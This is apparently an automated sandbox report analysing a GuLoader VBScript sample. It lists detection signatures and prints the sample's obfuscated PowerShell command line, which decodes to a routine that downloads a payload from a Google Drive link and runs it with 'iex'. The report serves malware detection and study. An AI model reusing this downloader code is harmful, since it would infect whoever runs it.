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Windows
Analysis Report
r20240913TRANSFERENCIA.vbs
Overview
General Information
Detection
GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 2128 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\r2024 0913TRANSF ERENCIA.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 1900 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "<#Bldning sforstyrre lser Bushw hacked Rke biskoppers Johnsen I nkompetenc ers Urubu Brandsikke rheden #>; $Ottetals= 'bluett';< #Samkvemsr ets Polyda ctylous Sk emaden Vks tcentret F orsorgsled erens #>;$ Erstatning spligts40= $host.Priv ateData;If ($Erstatn ingspligts 40) {$Skal lesmkkerne s++;}funct ion Virkso mhedskateg oris($Molo ssian){$Ar bejdsdatab asen=$knst telserne+$ Molossian. Length-$Sk allesmkker nes;for( $ Nedsivning sbekendtgr elsers=4;$ Nedsivning sbekendtgr elsers -lt $Arbejdsd atabasen;$ Nedsivning sbekendtgr elsers+=5) {$Shaftmen t='Refrygt igere';$Ud laanssal+= $Molossian [$Nedsivni ngsbekendt grelsers]; }$Udlaanss al;}functi on Crustac eology($Af delingsing enirers){ & ($Ilei tis) ($Afd elingsinge nirers);}$ Aarstalsli sters=Virk somhedskat egoris 'Re a.MRedaoRs onzVariiUd drlEddelBe daaTrip/ D es5Abso. P i.0 Pie Kn u(Bl,eW nc iiFoalnSte rdD meoT.m tw,ispsAl a SubiN.an dTgald Fat u1Tud 0 In u. Tr 0 Se r;data Unn oWSubsihar vnOtos6Dou g4Folk;rok o S,rexf,e r6St.l4Man i;Pri Sen rDermvBeha :Skav1Nuns 2Libe1Trib .Co a0Fo k ) S.i SejG I treBillc AudakFr.io Tyra/Ku s2 Misk0Ops 1 Ebra0 Ka 0 Vari1Bar,0 Biot1Taxa Ls nFWooli rbernor e GulfUdnyo RefexButi/ U,ny1 Eft2 Malc1 De . Pant0Besr ';$Hjlpeme nuen=Virks omhedskate goris 'Vib rUSignsCh tEPrieRN p t-F ypaFng sGA,ceERad inSamftSkr e ';$Stole t111=Virks omhedskate goris 'La, ehPremtSch it Afkpste ds Sod: Ra n/Ulid/Sv edD.sarP.e ciBrudvSup eeMiso. sc agTreeoSpi roA,sugBe klThoreFr. g. daac St aopaulmRav n/ VanuPri oc.pal? Af peTegnxDod ep StioMyr irgu rtRun a=Nos d ,t aoPoppwMed nE enlJer no AndaP p odSush&Cri miMaandPag a=Comp1Gam m0Spekm ho SWag dP es A Thr5Vill 8 R ntG,gr H ondF Sup DPrio2Milj Bv ndo amg uHustrOzon BSpec_ Ce wFolkMAfsk x ejlOverv BenzC Old- .lefLAfsvJ Jinj,oppw Ga.orOutp4 UlemRPiaz ';$Skovvog ns134=Virk somhedskat egoris 'E. ke>Razo '; $Ileitis=V irksomheds kategoris 'ProsiAbsc eOut,X D s ';$Histor icoreligio us='Maffia ';$Orneril y='\Nonpun ctuating.s em';Crusta ceology (V irksomheds kategoris 'unde$ Ti gSnkelOmst o ParbOli a TillAwig :.ranSGry, a HalnKnap d Brue ert s L d= Und $TegneTrop nTro,vG,ld :KunsaAst pAfmepSmal dExscahomo tRistaMicr +Trom$Norm O NatrKont nProaeArbe rRegei Sul lNonayKons ');Crusta ceology (V irksomheds kategoris ' I,t$sinu gSamalSkol o Befb Uns a Misl Int : ykvSOr g nudv.uSnad d gnoeBill sTri kHemo aMormf S,e tPenneKren t NorsO.os = Ott$Di.i SCr,wtPals oGrunlInco eA,tetU de 1Bilb1 ra1 Trif.Sirss RappApprl Proir kot Nu (Mole$ ChinS Trek StraoHo ev AghovYngso OvergP.ern Accrs Dia1 Igno3R gr4 Flum) ear ');Crustac eology (Vi rksomhedsk ategoris ' Con[ Tc N RadieS,avt